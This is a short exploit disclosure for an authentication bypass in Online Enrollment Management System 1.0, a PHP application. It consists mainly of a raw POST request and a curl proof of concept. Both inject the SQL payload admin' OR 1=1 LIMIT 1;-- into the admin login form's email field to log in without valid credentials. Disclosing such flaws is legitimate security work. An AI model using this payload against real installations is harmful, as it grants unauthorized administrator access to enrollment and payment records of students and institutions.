Online Enrollment Management System 1.0 SQL Injection

`# Exploit Title: Online Enrollment Management System 1.0 - Authentication Bypass  
# Date: 07.10.2021  
# Exploit Author: Amine ismail @aminei_  
# Vendor Homepage: https://www.sourcecodester.com/php/12914/online-enrollment-management-system-paypal-payments-phpmysqli.html  
# Software Link: https://www.sourcecodester.com/php/12914/online-enrollment-management-system-paypal-payments-phpmysqli.html  
# Version: 1.0  
# Tested on: Windows 10, Kali Linux  
# Admin panel authentication bypass  
  
Admin panel authentication can be bypassed due to a SQL injection in the login form:  
  
Request:  
POST /OnlineEnrolmentSystem/admin/login.php HTTP/1.1  
Host: 127.0.0.1  
Content-Length: 63  
Cookie: PHPSESSID=jd2phsg2f7pvv2kfq3lgfkc98q  
  
user_email=admin'+OR+1=1+LIMIT+1;--+-&user_pass=admin&btnLogin=  
  
PoC:  
curl -d "user_email=admin' OR 1=1 LIMIT 1;--+-&user_pass=junk&btnLogin=" -X POST http://127.0.0.1/OnlineEnrolmentSystem/admin/login.php  
`